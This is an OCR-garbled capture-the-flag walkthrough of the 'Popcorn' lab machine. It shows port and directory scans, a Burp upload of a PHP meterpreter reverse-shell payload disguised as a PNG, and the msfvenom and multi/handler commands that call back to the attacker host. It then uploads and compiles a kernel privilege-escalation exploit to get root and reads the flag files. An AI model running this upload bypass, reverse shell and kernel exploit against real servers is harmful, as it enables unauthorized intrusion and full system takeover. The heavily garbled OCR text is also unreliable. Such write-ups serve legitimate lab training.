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root@kali:~# nmap -T5 -A -v 10.10.10.6

Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-02 ©7:19 EST
NSE: Loaded 151 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 07:19

Completed NSE at 07:19, 0.00s elapsed

Initiating NSE at 07:19


https://blog.csdn.net/fastergohome
https://blog.csdn.net/fastergohome/category_9691683.html
https://so.csdn.net/so/search/s.do?q=htb&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%258F%2590%25E6%259D%2583&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=webshell&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/fastergohome/article/details/104148879
https://blog.csdn.net/fastergohome/category_9691683.html

Completed NSE at ©/:19, 0.9V9s elapsed

Initiating NSE at 07:19

Completed NSE at ©7:19, 0.00s elapsed

Initiating Ping Scan at 07:19

Scanning 10.10.10.6 [4 ports]

Completed Ping Scan at 07:19, 0.57s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:19

Completed Parallel DNS resolution of 1 host. at ©7:19, 0.14s elapsed
Initiating SYN Stealth Scan at 07:19

Scanning 10.10.10.6 [1000 ports]

Discovered open port 22/tcp on 10.10.10.6

Discovered open port 80/tcp on 10.10.10.6

Warning: 10.10.10.6 giving up on port because retransmission cap hit (2).
Completed SYN Stealth Scan at 07:20, 4.20s elapsed (1000 total ports)
Initiating Service scan at 07:20

Scanning 2 services on 10.10.10.6

Completed Service scan at ©7:20, 7.05s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 10.10.10.6

Retrying 0S detection (try #2) against 10.10.10.6

Initiating Traceroute at 07:20

Completed Traceroute at 07:20, 0.66s elapsed

Initiating Parallel DNS resolution of 2 hosts. at 07:20

Completed Parallel DNS resolution of 2 hosts. at ©7:20, 0.25s elapsed
NSE: Script scanning 10.10.10.6.

Initiating NSE at 07:20

Completed NSE at ©7:20, 15.17s elapsed

Initiating NSE at 07:20

Completed NSE at ©7:20, 2.17s elapsed

Initiating NSE at 07:20

Completed NSE at 07:20, 0.00s elapsed

Nmap scan report for 10.10.10.6

Host is up (0.20s latency).

Not shown: 980 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.1pl Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)

|_ 2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp open http Apache httpd 2.2.12 ((Ubuntu))

| http-methods:

| _ Supported Methods: GET HEAD POST OPTIONS

| _http-server-header: Apache/2.2.12 (Ubuntu)

|_http-title: Site doesn't have a title (text/html).

85/tcp filtered mit-ml-dev

1067/tcp filtered instl_boots

1213/tcp filtered mpc-lifenet

1717/tcp filtered fj-hdnet

2005/tcp filtered deslogin

2047/tcp filtered dls

2222/tcp filtered EtherNetIP-1

3546/tcp filtered unknown

5988/tcp filtered wbem-http

6646/tcp filtered unknown

8022/tcp filtered oa-system

8654/tcp filtered unknown

9010/tcp filtered sdr

9290/tcp filtered unknown

10617/tcp filtered unknown

32780/tcp filtered sometimes-rpc23

49160/tcp filtered unknown



55056/tcp filtered unknown

Aggressive 0S guesses: Linux 2.6.17 - 2.6.36 (95%), Linux 2.6.32 (95%), Linux 2.4.20 (Red Hat 7.2) (95%), L
No exact OS matches for host (test conditions non-ideal).

Uptime guess: 0.682 days (since Sat Feb 1 14:58:58 2020)

Network Distance: 2 hops

TCP Sequence Prediction: Difficulty=194 (Good luck!)

IP ID Sequence Generation: All zeros

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT ADDRESS

1 446.46 ms 10.10.14.1

2 653.63 ms 10.10.10.6

NSE: Script Post-scanning.
Initiating NSE at 07:20
Completed NSE at ©7:20, 0.00s elapsed
Initiating NSE at 07:20
Completed NSE at ©7:20, 0.00s elapsed
Initiating NSE at 07:20
Completed NSE at ©7:20, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.44 seconds
Raw packets sent: 1573 (72.608KB) | Rcvd: 1166 (49.960KB)
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root@kali:~# dirb http://10.10.10.6

DIRB v2.22
By The Dark Raver

START_TIME: Sun Feb 2 ©7:21:22 2020
URL_BASE: http://10.10.10.6/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.6/ ----
*** Calculating NOT_FOUND code...

http
http
http
http
http
http

+ + + + + +

://10.
://10.
://10.
://10.
://10.
://10.

10.
10.
10.
10.
10.
10.

==> DIRECTORY:

10.
10.
10.
.6/index.html (CODE:208|SIZE:177)
10.
10.

10

6/.bash_history (CODE:200|SIZE:414)
6/cgi-bin/ (CODE:403|SIZE:286)
6/index (CODE:200|SIZE:177)

6/server-status (CODE:403|SIZE:291)
6/test (CODE:200|SIZE:47330)

http://10.10.10.6/torrent/

---- Entering directory: http://10.10.10.6/torrent/ ----
==> DIRECTORY: http://10.10.10.6/torrent/admin/
+ http://10.10.10.6/torrent/browse (CODE:200|SIZE:9277)

FEHUT:

1. http://10.10.10.6/test
2. hitp://10.10.10.6/torrent/

test2/>phpinfo, f#E T —T, HEEKEEMNZARIERINEELTphpikss


http://10.10.10.6/test
http://10.10.10.6/torrent/

PHP Version 5.2.10-2ubuntu6.10

php

System Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16
15:22:42 UTC 2009 i686

Build Date May 2 2011 22:56:18

Server APl Apache 2.0 Handler

Virtual Directory disabled

Support

Configuration File fetc/php5/apache2

(php.ini) Path

Loaded
Configuration File

fetc/php5/apache2/php.ini

Scan this dir for
additional .ini files

fetc/php5/apache2/conf.d

additional .ini files
parsed

fetc/php5/apache2/conf.d/gd.ini, fetc/php5/apache2/conf.d/mysqgl.ini,
fetc/php5/apache2/conf.d/mysgli.ini, fetc/php5/apache2/conf.d/pdo.ini,
fetc/php5/apache2/conf.d/pdo_mysql.ini

PHP API 20041225

PHP Extension 20060613

Zend Extension 220060519

Debug Build no

Thread Safety disabled

Zend Memory enabled

Manager

IPv6 Support enabled

Registered PHP https, ftps, compress.zlib, compress.bzip2, php, file, data, http, ftp, zip
Streams

Registered Stream tcp, udp, unix, udg, ssl, sslv3, ssiv2, tls
Socket Transports

Registered Stream
Filters

zlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper,
string.tolower, string.strip_tags, convert.*, consumed

This server is protected with the Suhosin Patch 0.9.7
Copyright (c) 2006 Hardened-PHP Project

25 Al

This program makes use of the Zend Scripting Language Engine:

Powered By

Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies

(3l
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BitTornado Username
Z BitTornado is a BitTorrent client. It is developed by John Hoffman, who also created its
predecessor, Shadow's Experimental Client. Based on the original BitTorrent client, the il
is largely the same, with added features such as: upload/download speed limitation prioritised Password I
downloading when downloading batches (several files) detailed information about connections to
other peers UPNP Port Forwarding (Universal Plug and Play) IPv6 support (if your OS supports -
it/has it installed) PE/MSE support as of version 0.3.18.

01/06/07 Posted by Admin.

Sign up | Lost password

p D Search
pTorrent
Z uTorrent (also microTorrent or uTorrent) is a freeware proprietary BitTorrent client for Microsoft
Windows written in C++, and localized for many different languages. It is designed to use rch

minimal computer resources while offering functionality comparable to clients such as Azureus or
BitComet. The program has received consistently good reviews for its feature set, performance,
stability, and support for older hardware and versions of Windows. It has been in active
development since its first release in 2005. Its name is commonly abbreviated "uT" or "uT". On
December 7, 2006, uTorrent developer Ludvig Strigeus and BitTorrent, Inc. CEO Bram Cohen
announced that BitTorrent, Inc. had acquired pTorrent.

01/06/07 Posted by Admin.

Azureus

z Azureus (Ah/ZURE/us) is a Java-based BitTorrent client, with support for 12P and Tor anonymous
communication protocols. The core developers of Azureus have formed a company called
Azureus, Inc. The program's logo is the Blue Poison Dart Frog (Dendrobates azureus), shown on
the Azureus webpage, as well as within the program's start-up splash screen, from which the
project took its name. The name was given to the project by co-creator Tyler Pitchford, who uses
the Latin names of Poison Dart Frogs as codenames for his development projects.

01/06/07 Posted by Admin.

BitTorrent From Wikipedia
z BitTorrent (BT) is a peer-to-peer (P2P) communications protocol for file sharing. The protocol was
designed in April 2001, implemented and first released July 2, 2001[1] by programmer Bram
Cohen, and is now maintained by BitTorrent, Inc. BitTorrent is a method of distributing large
amounts of data widely without the original distributor incurring the entire costs of hardware,
hosting and bandwidth resources.
01/06/07 Posted by Admin.

Rendertime: 0.003
Copyright © 2007 TorrentHoster.com. All rights reserved.
Powered by Torrent Hoster.
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kali 2020 88 covoPare

J Search

Download kali 2020 7
Uploaded By test
Category Other
Size 197 GB
Seeds 0
Peers 4]
Finished
Update Stats Update Stats
Tracked By http:/ftracker.kali.org:6969/announce
Added 2020-02-02 09:58:59
Last Update 0000-00-00 00:00:00
Comment

Screenshots

+ Files

Comments (0)

Please do not flood your comments. Your IP Address is being logged.

Rendertime: 0.004
Copyright © 2007 TorrentHoster.com. All rights reserved.
Powered by Torrent Hoster.

2. A dzEdit this torrent, &FE—AE XM EE

Torrent Name kali 2020

Hash 0 14e4e41e18008918ba 201142¢21d0
Category Other v

Subcategory Other ~

Description

Tracker requires

registration Yes O No
Update
Filename:
HodalaSreannot Browse..  Nofile selected.

Submit Screenshot

Allowed types : jpg,
Max Size : 100kb
Please note that you are allow to upload only one screenshot per torrent.

If you already have existing screenshot, it will automatically replace by uploading
new one.
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f "
Burp Project Intruder Repeater Window Help

| | pashbosrd | Target | Proxy | Intruder TREpeatEr T Sequencer T Decoder Tcumparer T Extender TPruJed:upt\nns TUseruptlnns ]

| Send Cancel

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | Render
POST A HTTP/1.1 288 0K
/torrent/upload_file php?mode=upload&id=Ah2932414e4e41e18008918ba6219201142c21d8 iy Date: Sun, 82 Feb 2028 88:84:14 GMT
HTTP/1.1 Server: Apache/2.2.12 (Ubuntu)
Host: 10.10.10.6 X-Powered-By: PHP/5.2.10-2ubuntu6.10
VUser-Agent: Mozilla/5.@ (X11; Linux x86_64; rv:68.8) Gecko/20188181 Firefox/68.9 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept: text/html,application/xhtmlsxml,application/xml;q=0.9,%/*;q=0.8 Cache-Control: private
|Accept-Language: en-US,en;q=0.5 Pragma: no-cache
Accept-Encoding: gzip, deflate Vary: Accept-Encoding
Referer: Content-Length: 136
http://10.10.10_6/torrent/edit. php?mode=editiid=0b2932414e4241210008918ba6219201142c2 Connection: close

Content-Type: text/html
data;

60680270620645244341271788477 Upload: a.png.php<br />Type: image/png<br />Size: 6.2314453125 Kb<br />Upload Completed. <br />Please refresh to see the new screenshot.

Cookie: /torrent/=; /torrent/torrents_php=; /torrent/login_php=;
| /torrent/index php=; saveit_f=4; saveit_1=5; /torrent/index_phpfirsttimeload=1;
ftorrent/torrents phpfirsttimeload=n; PHPSESSID=47759334eadbblbad8aieasze2badess
Upgrade- Insecure-Requests: 1

rrrrrrrrrrrrrrrrrrrrrrrrrrrrr 60680270620645244341271788477
Content-Disposition: form-data; name="file"; filename="a png phpf
! Content-Type: image/png

{

<!DOCTYPE html>
|<ht'.1 lang="en">

<head>
<meta charset="utf.8">

4. EE T LMESRE B3 T A 2 A28 30

phpinfo() X | Torrent Hoster - Torrents Index of [torrent/upload x +

< > C @ @ 10.10

Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter @ Offensive Security Exploit-DB

Index of /torrent/upload

Name Last modified Size Description

a Parent Directory -

!% 0b2932414e4e41e18008918ba6219201142¢21d0.php 02-Feb-2020 10:13 30K I
0b2932414e4e41e18008918ba6219201142c21d0.png 02-Feb-2020 10:03 6.2K

723bc28f9b6f924ccab8ccdffo6b6190566¢cabbd.png  17-Mar-2017 23:06 58K

noss.png 02-Jun-2007 23:15 32K

Apache/2.2.12 (Ubuntu) Server at 10.10.10.6 Port 80

5. f# Fmsf4 Bphpi & M EE AR D

root@kali:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.20 LPORT=4444 -f raw > a.png.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload

[-] No arch selected, selecting arch: php from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 30687 bytes

6. BAEMKIAL I, BHFBlburpBEim LIt

7 FTFFmsf, AT iE H

msf5 > search php/meterpreter_reverse_tcp

Matching Modules

# Name Disclosure Date Rank Check Description

@ payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inl

msf5 > use payload/php/meterpreter_reverse_tcp
msf5 payload(php/meterpreter_reverse_tcp) > show options



Module options (payload/php/meterpreter_reverse_tcp):

Name Current Setting Required Description

LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

msf5 payload(php/meterpreter_reverse_tcp) > set lhost 10.10.14.20
lhost => 10.10.14.20

msf5 payload(php/meterpreter_reverse_tcp) > back

msf5 > use multi/handler

msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.20 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

®@ Wildcard Target

msf5 exploit(multi/handler) > set payload "'

[-] The value specified for payload is not valid.

msf5 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp

msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (php/meterpreter_reverse tcp):

Name  Current Setting Required Description

LHOST 10.10.14.20 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

2] Wildcard Tarpset
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msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.20:4444
msf5 exploit(multi/handler) > jobs

Jobs

Id Name Payload Payload opts

1 Exploit: multi/handler php/meterpreter_reverse_tcp tcp://10.10.14.20:4444

8. WA R RN EAEK S, PATARD, FKiGwebshell

msf5 exploit(multi/handler) > [*] Meterpreter session 8 opened (10.10.14.20:4444 -> 10.10.10.6:50803) at 20
msf5 exploit(multi/handler) > sessions

Active sessions

Id Name Type Information Connection
8 meterpreter php/linux www-data (33) @ popcorn 10.10.14.20:4444 -> 10.10.10.6:50803 (10.10.10.

msf5 exploit(multi/handler) > sessions

Active sessions

Id Name Type Information Connection

8 meterpreter php/linux www-data (33) @ popcorn 10.10.14.20:4444 -> 10.10.10.6:50803 (10.10.10.

msf5 exploit(multi/handler) > sessions 8
[*] Starting interaction with 8...

meterpreter >

0x04 =AY
BT — FHRIERARIA:

uname -r

2.6.31-14-generic-pae

fEexploitdbH &K T —T, FHEZHMHELKexp.

searchsploit "Linux Kernel 2.6."



Exploit Title

Linux Kernel .25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escalation

.25/2.4.24/2.6.2 - 'mremap()' Validator

.X/2.3.%X/2.4.X/2.5.x/2.6.X - ELF Core Dump Local Buffer Overflow (PoC)
.1<2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (3)

.22-28/2.6.9 - 'igmp.c' Local Denial of Service

Linux Kernel
Linux Kernel
Linux Kernel
Linux Kernel

Linux Kernel .23/2.6.0 - 'do_mremap()' Bound Checking Privilege Escalation

Linux Kernel .23/2.6.0 - 'do_mremap()' Bound Checking Validator (1)

Linux Kernel .23/2.6.0 - 'do_mremap()' Bound Checking Validator (2)

Linux Kernel .27/2.6.8 - 'binfmt_elf' Executable File Read

Linux Kernel .28/2.6.9 - 'ip_options_get' Local Overflow

Linux Kernel .28/2.6.9 - 'scm_send Local' Denial of Service

Linux Kernel .28/2.6.9 - Memory Leak Local Denial of Service

Linux Kernel .28/2.6.9 - vc_resize int Local Overflow

Linux Kernel .30/2.6.11.5 - BlueTooth 'bluez_sock_create' Local Privilege Escalation

Linux Kernel 4 < 2.4.37.4 /] 2.6.0 < 2.6.30.4 - 'Sendpage' Local Privilege Escalation (Metasploit)
.X/2.5.%x/2.6.x - 'Sockaddr_In.Sin_Zero' Kernel Memory Disclosure

.X/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 1@ SP2/11 / Ubuntu 8.18) (PPC) - 'sock_sendp

Linux Kernel
Linux Kernel

Linux Kernel .X/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Privilege Escalation (2)

Linux Kernel .X/2.6.x - 'uselib()' Local Privilege Escalation (3)

Linux Kernel .X/2.6.x - Assembler Inline Function Local Denial of Service

Linux Kernel .X/2.6.x - BlueTooth Signed Buffer Index (PoC)

Linux Kernel .X/2.6.x - BlueTooth Signed Buffer Index Privilege Escalation (1)

Linux Kernel .X/2.6.x - Local Denial of Service / Memory Disclosure

Linux Kernel .X/2.6.x - Multiple IS09660 Filesystem Handling Vulnerabilities

Linux Kernel .X/2.6.x - CPUFreq Proc Handler Integer Handling Memory Read

Linux Kernel < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ringe

Linux Kernel .0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1)

Linux Kernel .10 - File Lock Local Denial of Service
Linux Kernel .10 - Local Denial of Service
Linux Kernel .10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation

Linux Kernel .12-rc4 - 'ioctl_by bdev' Local Denial of Service

Linux Kernel .13 < 2.6.17.4 - 'logrotate prctl()' Local Privilege Escalation
Linux Kernel .13 < 2.6.17.4 - 'sys _prctl()' Local Privilege Escalation (1)
Linux Kernel .13 < 2.6.17.4 - 'sys _prctl()' Local Privilege Escalation (2)
Linux Kernel .13 < 2.6.17.4 - 'sys _prctl()' Local Privilege Escalation (3)
Linux Kernel .13 < 2.6.17.4 - 'sys _prctl()' Local Privilege Escalation (4)
Linux Kernel .17 - 'Sys_Tee' Local Privilege Escalation

Linux Kernel .17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2)
Linux Kernel .17.4 - ‘'proc' Local Privilege Escalation

Linux Kernel .17.7 - NFS and EXT3 Combination Remote Denial of Service

Linux Kernel .18 - 'move_pages()' Information Leak

Linux Kernel .18 < 2.6.18-20 - Local Privilege Escalation
.20 with DCCP Support - Memory Disclosure (1)
.20 with DCCP Support - Memory Disclosure (2)
.20/2.6.24/2.6.27_7-10 (Ubuntu 7.04/8.04/8.10 / Fedora Core 10 / OpenSuse 11.1) - SCTP FWD

.21.1 - IPv6 Jumbo Bug Remote Denial of Service

Linux Kernel
Linux Kernel
Linux Kernel
Linux Kernel

Linux Kernel .22 - IPv6 Hop-By-Hop Header Remote Denial of Service

Linux Kernel 22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID

Linux Kernel 22 < 3.9 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Met
Linux Kernel 22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access Method)

Linux Kernel 22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd

Linux Kernel 22 < 3.9 'Dirty COW' /proc/self/mem Race Condition (Write Access Method)

Linux Kernel .23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1)
.24 16-23/2.6.27_7-10/2.6.28.3 (Ubuntu 8.04/8.10 / Fedora Core 10 x86-64) - 'set selection(
.26 - Auerswald USB Device Driver Buffer Overflow (PoC)

.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privilege Escalation

27 7-conarir/? A& 12/2 A& 241-1 - I nral Nanial nf Carvira

Linux Kernel
Linux Kernel
Linux Kernel
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.27.8 - ATMSVC Local Denial of Service
.28/3.0 (DEC Alpha Linux) - Local Privilege Escalation

.29 - 'ptrace_attach()' Race Condition Privilege Escalation

.3 - 'setsockopt' Local Denial of Service

.30 - 'atalk_getname()' 8-bytes Stack Disclosure (1)

.30 - "tun_chr_pool()' Null Pointer Dereference

.30 < 2.6.30.1 / SELinux (RHEL 5) - Local Privilege Escalation
.31 - 'perf_counter_open()' Local Buffer Overflow

.31-rc5 - sigaltstack 4-Byte Stack Disclosure

.31-rc7 - 'AF_LLC getsockname' 5-Byte Stack Disclosure

.31.4 - 'unix_stream_connect()' Local Denial of Service

.32 (Ubuntu 10.04) - '/proc' Handling SUID Privilege Escalation

.32 - 'pipe.c' Local Privilege Escalation (4)

.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1)
.32-5 (Debian 6.0.5) - '/dev/ptmx' Key Stroke Timing Local Disclosure
.32-642/3.16.0-4 - 'inode' Integer Overflow

.32-rcl (x86-64) - Register Leak

.33.3 - SCTP INIT Remote Denial of Service

.34 - 'find_keyring by name()' Local Memory Corruption

.35 - Network Namespace Remote Denial of Service

.36 - VIDIOCSMICROCODE IOCTL Local Memory Overwrite

.36 IGMP - Remote Denial of Service

.36-rc8 - 'RDS Protocol' Local Privilege Escalation
.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation
.37 - 'setup_arg_pages()' Denial of Service

.37 - Local Kernel Denial of Service (1)

.37 - Unix Sockets Local Denial of Service

.37-rcl - 'serial_multiport_struct' Local Information Leak

.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1)

.39 < 3.2.2 (x86/x64) - 'Mempodipper' Local Privilege Escalation (2)

.9 < 2.6.11 (RHEL 4) - 'SYS_EPoll Wait' Local Integer Overflow / Local Privilege Escalation
.9 < 2.6.25 (RHEL 4) - utrace and ptrace Local Denial of Service (1)

.9 < 2.6.25 (RHEL 4) - utrace and ptrace Local Denial of Service (2)

.X (Gentoo 2.6.29rcl) - 'ptrace_attach' Local Privilege Escalation

(Sparcé4) - '/proc/iomem' Local Denial of Service

(x64) - Personality Handling Local Denial of Service
'/drivers/net/r8169.c' Out-of-IOMMU Error Local Denial of Service
- 'AIO_Free_Ring' Local Denial of Service

- 'IS09660' Denial of Service

- 'SYS_EPoll Wait' Local Integer Overflow / Local Privilege Escalation (1)
- 'add_to_page_cache_lru()' Local Denial of Service

- ‘'drivers/char/tty_ldisc.c' Null Pointer Dereference Denial of Service
- "fput()' Null Pointer Dereference Local Denial of Service

- 'inotify_init()' Memory Leak Local Denial of Service

- '"inotify_init1()' Double-Free Local Denial of Service

- 'make_indexed_dir()' Local Denial of Service

'net/core/filter.c' Local Information Disclosure

- 'net/ipv6/ip6_output.c' Null Pointer Dereference Denial of Service
- 'pipe.c' Local Privilege Escalation (2)

- 'posix-timers.c' Null Pointer Dereference Denial of Service

- 'gdisc_run()' Local Denial of Service

- 'rds_recvmsg()' Local Information Disclosure

- 'seccomp' System Call Security Bypass

- 'sock.c' SO_BSDCOMPAT Option Information Disclosure

- 'splice(2)' Double Lock Local Denial of Service

- 'sys_timer_create()' Local Denial of Service

- ALSA snd-page-alloc Local Proc File Information Disclosure

- AppleTalk ATalk_Sum_SKB Function Denial of Service

- Audit Subsystems Local Denial of Service
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.36.
.11,
.14.
.16.
.19

.19

.20.
.22

.26.
.28

.29

.30.
.31
.31
.34
.34
.36
.36
.36
.36
.37
.37
.7-

Btrfs Cloned File Security Bypass

CIFS CHRoot Security Restriction Bypass

Cloned Process 'CLONE_PARENT' Local Origin Validation

Cryptoloop Information Disclosure

Ext4 'move extents' ioctl Privilege Escalation

File Lock Lease Local Denial of Service

INVALIDATE_INODE_PAGES2 Local Integer Overflow

IPTables Logging Rules Integer Underflow Remote (PoC)

IPv6 Local Denial of Service

IPv6_SockGlue.c Null Pointer Dereference Denial of Service

KSM Local Denial of Service

KVM 'pit_ioport_read()' Local Denial of Service

NETLINK_FIB_LOOKUP Local Denial of Service

Proc dentry_unused Corruption Local Denial of Service

Ptrace Privilege Escalation

SCSI ProcFS Denial of Service

SET_MEMPOLICY Local Denial of Service

SMBFS CHRoot Security Restriction Bypass

SquashFS Double-Free Denial of Service

Sysctl Unregistration Local Denial of Service

Time_Out_Leases PrintK Local Denial of Service

VFat Compat IOCTLS Local Denial of Service

epoll Nested Structures Local Denial of Service

fs/eventpoll.c epoll Data Structure File Descriptor Local Denial of Service
3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege

9/2.6.27.5 - Unix Sockets Local Kernel Panic (Denial of Service)

5 - BlueTooth Stack Privilege Escalation

6 - 'procfs' Kernel Memory Disclosure

18 - Netfilter NAT SNMP Module Remote Denial of Service

(Debian 4) - 'udp_sendmsg' Local Privilege Escalation (3)

(x86/x64) - 'udp_sendmsg' Local Privilege Escalation (2)

2 - 'IPv6_Getsockopt_Sticky' Memory Leak

- 'ftruncate()'/'open()' Local Privilege Escalation

4 - SCTP Kernel Memory Disclosure

- 'fasync_helper()' Local Privilege Escalation

- 'exit_notify()' Local Privilege Escalation

5 - 'cfg80211' Remote Denial of Service

-rc4 - 'nfsd4_proc_lock()' Denial of Service

-rc7 - '"AF_IRDA' 29-Byte Stack Disclosure (2)

(Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Local Privilege Escalation (1)
(Ubuntu 10.10 x86/x64) - 'CAP_SYS_ADMIN' Local Privilege Escalation (2)
-rcl (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Privilege Escalation
-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation
-rc6 (RedHat / Ubuntu 10.04) - 'pktcdvd' Kernel Memory Disclosure

.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation

-rc2 - "ACPI custom_method' Local Privilege Escalation

-rc2 - 'TCP_MAXSEG' Kernel Panic (Denial of Service) (2)

rc3 (Slackware 9.1 / Debian 3.8) - 'sys _chown()' Group Ownership Alteration Privilege

Linux/MIPS Kernel 2.6.36 - 'NetUSB' Remote Code Execution
ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) - 'xattr' Local Privilege Escalation

BT —Lillil, KWK T10MNER, KIT o LIRS exp, 3R#3 T userflrootftiflag.

meterpreter > upload /usr/share/exploitdb/exploits/linux/local/15704.c
: /usr/share/exploitdb/exploits/linux/local/15704.c -> 15704.c
[*] Uploaded -1.00 B of 9.26 KiB (-0.01%): /usr/share/exploitdb/exploits/linux/local/15704.c -> 15704.c

[*] uploading

[*] uploaded

: /usr/share/exploitdb/exploits/linux/local/15704.c -> 15704.c



meterpreter > shell

Process 3057 created.
Channel 24 created.
gcc 15704.c -o exp7

1s -1la
total 492
drwxrwxrwx
drwxr-xr-x
-PW-P--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PWXPr-Xr-X
-PWXP-Xr-X
-PWXPr-Xr-X
-PWXPr-Xr-X
-PWXPr-Xr-X
-PWXP-Xr-X
- PWXPWXIPWX
-PW-r--r--
-PW-r--r--
- PWXPWXPWX
./exp7

1s -1a
total 492
drwxrwxrwx
drwxr-xr-x
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--r--
-PW-r--pr--
-PW-r--r--
-PWXP-Xr-X
-PWXP-Xr-X
-PWXP-Xr-X
-PWXP-Xr-X
-PWXP-Xr-X
-PWXP-Xr-X
- PWXPWXPWX
-PW-P--r--
-PW-P--r--
- PWXPWXPWX
whoami
root
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python -c 'import pty; pty.spawn("/bin/bash")’
root@popcorn:/var/www/torrent/upload# whoami
whoami

root

root@popcorn:/var/www/torrent/upload# cd /home/
lcd /home/

root@popcorn: /home#ls -1la

1s -1a

total 12

drwxr-xr-x 3 root root 4096 Mar 17 2017 .
drwxr-xr-x 21 root root 4096 Feb 1 11:32 ..
drwxr-xr-x 3 george george 4096 Mar 17 2017 george
root@popcorn: /home# cd george

cd george

root@popcorn: /home/george# 1ls -la

1s -1a

total 872

drwxr-xr-x 3 george george 4096 Mar 17 2017 .

drwxr-xr-x 3 root root 4096 Mar 17 2017 ..

-PW------- 1 root root 2769 May 5 2017 .bash_history

-rw-r--r-- 1 george george 220 Mar 17 2017 .bash_logout
-rw-r--r-- 1 george george 3180 Mar 17 2017 .bashrc
drwxr-xr-x 2 george george 4096 Mar 17 2017 .cache

-rW------- 1 root root 1571 Mar 17 2017 .mysql_history

-rW------- 1 root root 19 May 5 2017 .nano_history

-rw-r--r-- 1 george george 675 Mar 17 2017 .profile

-rw-r--r-- 1 george george @ Mar 17 2017 .sudo_as_admin_successful
-rw-r--r-- 1 george george 848727 Mar 17 2017 torrenthoster.zip
-rw-r--r-- 1 george george 33 Mar 17 2017 user.txt

root@popcorn:/home/george# cat user.txt
cat user.txt
5e362919398ecc5d5c110f2d865cf136
root@popcorn:/home/george# cd /root

cd /root

root@popcorn:/root# 1ls -la

1s -1la

total 40

drwx------ 5 root root 4096 Apr 11 2017 .

drwxr-xr-x 21 root root 4096 Feb 1 11:32 ..

drwx------ 2 root root 4096 Mar 17 2017 .aptitude
-PW------- 1 root root 637 Sep 24 2017 .bash_history

-rw-r--r-- 1 root root 2227 Apr 27 2009 .bashrc
drwxr-xr-x 2 root root 4096 Mar 27 2017 .cache
